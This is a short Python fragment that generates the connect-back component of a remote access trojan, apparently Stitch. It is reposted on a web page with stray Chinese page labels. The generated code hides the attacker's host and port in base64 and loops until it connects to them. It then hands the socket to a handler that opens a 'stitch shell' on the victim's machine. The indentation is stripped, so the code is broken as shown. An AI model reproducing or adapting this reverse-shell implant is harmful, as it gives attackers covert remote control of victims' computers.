def add_listen_server(LHOST,LPORT):
return '''
def listen_server(self):
self.stop_listen_server = False
while True:
if self.stop_listen_server :
break
while self.connected:
sleep(5)
pass
if dbg:
print 'trying to connect'
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
client_socket.settimeout(5)
target = base64.b64decode("{}")
port = int(base64.b64decode("{}"))
try:
client_socket.connect((target,port))
client_socket.settimeout(300)
if not self.connected:
self.connected = True
client_handler(client_socket)
self.connected = False
else:
send(client_socket,"[!] Another stitch shell has already been established.\\n")
client_socket.close()
except Exception as e:
if dbg:
print e
client_socket.close()
def halt_listen_server(self):
self.stop_listen_server = True\n\n'''.format(LHOST,LPORT)
评论列表
文章目录